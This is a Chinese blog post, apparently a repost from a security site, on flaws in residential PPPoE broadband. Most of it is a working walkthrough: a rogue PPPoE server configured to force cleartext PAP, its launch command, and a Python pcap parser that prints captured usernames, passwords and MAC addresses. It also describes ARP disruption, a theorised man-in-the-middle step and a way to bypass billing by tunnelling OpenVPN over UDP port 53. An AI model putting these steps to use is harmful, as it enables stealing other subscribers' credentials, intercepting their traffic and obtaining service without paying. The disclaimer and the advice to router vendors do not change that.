神刀安全网

聊一聊小区宽带的安全隐患和计费漏洞

小区宽带的安全漏洞

在北京那几年,上网用的都是小区宽带,比如长城宽带,电信通这些。而小区宽带大部分使用的都是PPPoE拨号上网的,而PPPoE拨号验证是使用PAP和CHAP两种方式。其中PAP是明文的,而CHAP是密文的,小区宽带的PPPoE服务一般都是使用CHAP验证,但是我们家用的路由器默认两种都支持,并且默认没有关闭支持PAP验证的选项。这样就会造成我们的PPPoE拨号用户和密码容易被第三方窃取,原理很简单:

  • 搭建一个PPPoE的服务,并且设置为仅支持PAP验证。

  • 对真正的PPPoE服务器进行ARP攻击使其瘫痪,不过这一步非必须的,因为PPP协议是2层的协议,它在连接时就看先发现那个PPPoE服务了。比如先发现我们搭建的,那么就会先向我们来请求。

  • 在自己搭建的PPPoE上进行抓包。

基本原理说完了,我们来一步一步操作吧

在linux搭建一个PPPoE服务

我这里就用Fedora来给大家演示下,其他linux跟这个原理是一样的。

首先我们来安装所需的pppoe包

sudo dnf install rp-pppoe

修改/etc/ppp/pppoe-server-options,全部内容如下:

require-pap #使用pap验证协议,则此行为require-pap loginlcp-echo-interval 10 lcp-echo-failure 2 ms-dns 4.4.4.4 #分配给客户端的DNS ms-dns 8.8.4.4

然后我们来启动服务

sudo pppoe-server -I enp4s0 -L 192.168.0.1 -R 192.168.0.5 -N 10

简单介绍下参数:

-I enp4s0指定pppoe服务器在那个网卡接口监听连接请求。

-L 192.168.0.1 指定pppoe服务器的虚拟IP地址。

-R 192.168.0.5 分配给客户端的IP地址,从192.168.0.5开始递增。

-N 10 最多可以连接的客户端数量。

ARP攻击

这里我没测试,所以没法分享了,只是理论上可以,不过你要有多台机器了,不然一台未必有效果。而且不攻击的情况下也能抓取部分账号,只是数量少而已,这里只是研究用还是不要搞破坏了。

抓包分析

简单点的我们就用Wireshark来抓取指定网卡接口的数据,然后在Filter里面输入ppp,过滤下ppp的包:

聊一聊小区宽带的安全隐患和计费漏洞

2016-04-26 10-32-10 的屏幕截图.png

上图我选中的就是一个PPP PAP验证的包,不过这个格式不是真正的账号密码。为什么?因为现在的路由器都有特殊拨号功能,这个主要是为了破解以前联通电信对PPPoE拨号的限制,所以你抓包分析是要有一个正确的账号密码来对比下规则。比如我这里账号是11位的纯数字,而密码是6位纯数字。

上面这种方法是比较简单的,但是很浪费时间啊。当然可以做的更简单点,这里我们就用python这种脚本语音写个简单的脚本对抓的包进行数据分析,并打印出我们要的结果,脚本如下:

#coding=utf-8 import struct import time import binascii import re  user_list = [] fpcap = open('pppoe.pcap','rb') string_data = fpcap.read() #pcap文件包头解析 pcap_header = {} pcap_header['magic_number'] = string_data[0:4] pcap_header['version_major'] = string_data[4:6] pcap_header['version_minor'] = string_data[6:8] pcap_header['thiszone'] = string_data[8:12] pcap_header['sigfigs'] = string_data[12:16] pcap_header['snaplen'] = string_data[16:20] pcap_header['linktype'] = string_data[20:24]   #pcap文件的数据包解析 step = 0 packet_num = 0 packet_data = [] pcap_packet_header = {} i = 24 while(i<len(string_data)):        #数据包头各个字段       pcap_packet_header['GMTtime'] = string_data[i:i+4]       pcap_packet_header['MicroTime'] = string_data[i+4:i+8]       pcap_packet_header['caplen'] = string_data[i+8:i+12]       pcap_packet_header['len'] = string_data[i+12:i+16]       #求出此包的包长len       packet_len = struct.unpack('I',pcap_packet_header['len'])[0]       #写入此包数据       packet_data.append(string_data[i+16:i+16+packet_len])       i = i+ packet_len + 16       packet_num += 1   def ascii2bin(packet_data,id):     id = id + 1     #判断pap 验证报文格式     if str(binascii.b2a_hex(packet_data[22])) == '01' and  str(binascii.b2a_hex(packet_data[20:22])) == 'c023'  :         sour_mac = str(binascii.b2a_hex(packet_data[6:12]))         dest_mac = str(binascii.b2a_hex(packet_data[0:6]))         user_len = int(binascii.b2a_hex(packet_data[26]),16)         user = str(packet_data[27 : user_len+27])         passd_len = int(binascii.b2a_hex(packet_data[user_len+27]),16)         passd = str(packet_data[user_len+28 : user_len+28+passd_len])         #下面这个匹配规则需要改成你所需要的正则         if re.match(r'^/d{11,11}$', user) != None and re.match(r'^/d{6,6}$', passd) and user not in user_list:             user_list.append(user)             print "[%i]:%s => %s : %s == %s " % (id, sour_mac, dest_mac, user, passd)    #把pacp文件里的数据包信息写入result.txt for i in range(packet_num):     ascii2bin(packet_data[i],i) fpcap.close()

脚本写的比较乱,大家将就着看,就不要吐槽了。这样我们就拿到了账号的用户、密码和mac地址(部分小区宽带有mac地址绑定)。

理论上存在的中间人攻击

上面那一步我们得到了用户的账号和密码,那么我们可以进一步的伪装成真正的PPPoE服务,然后等待用户的拨号连接。当用户连接上以后,那么我们就相对于一个中间人的角色。可以直接抓取用户的一些明文信息,甚至伪装各种页面或DNS污染等。这些是理论上存在的可能,我没有测试,如果你有兴趣可以测试下。

计费漏洞

本人在使用小区宽带时,突然发现不能上网了,然后本能的 ping www.baidu.com 发现能通。后来打开网页,提示账号到期了。这时我就想能ping通,说明小区宽带的服务器只是封了部分的规则,并没有全部给屏蔽掉。

那么我们是否可以用这些规则漏洞来突破封锁呢?

现在知道外部80端口的TCP连接都已经被强制跳转到提醒缴费的页面,那么80端口的UDP协议是否能通呢?我就在我的VPS上用iperf启动了一个UDP的80端口服务:

iperf -s -u -p 80 -D

然后再本地进行连接:

iperf -u -p 80 -c xxx.xxx.xxx.xxx -i 1 -f M -b 256K -t 20

发现不通,然后又试了几个常用的端口也不通。本来准备放弃的,突然想到ping是能通的。那么说明ICMP协议和域名解析的端口是可用的,我之前有看过一篇文章是通过ICMP协议绕过移动宽带的计费系统,然后实现上网。但是让我写个ICMP的协议的代理不是一会半会就搞定的,水平有限啊。不想写,就找网上现成的,但是都没用调试成功。那么ICMP协议代理这条路就放弃了。最后只剩下DNS解析的53端口了,我还是用上面的方法测试了下53端口,发现确实能通。那么接下来就简单了,直接在VPS上启动一个OpenVPN,并且设置服务端口和协议分别为53和UDP。我这边笔记本直接用OpenVPN拨号一次成功。

总结

本身PPPoE这种服务验证是有一定安全性的,但是由于家用路由器的缺陷,造成了认证漏洞。如果有做路由器的厂家能看到这篇文章,建议在以后的路由器管理界面加个只启用CHAP验证的选项。还是上面的内容仅供研究使用,如果你用于其他非法用途,所造成的后果请您自己承担。

最后声明:本文可以个人自由转载,不希望用于商业转载(你要真转了我也没办法)。

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 聊一聊小区宽带的安全隐患和计费漏洞

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址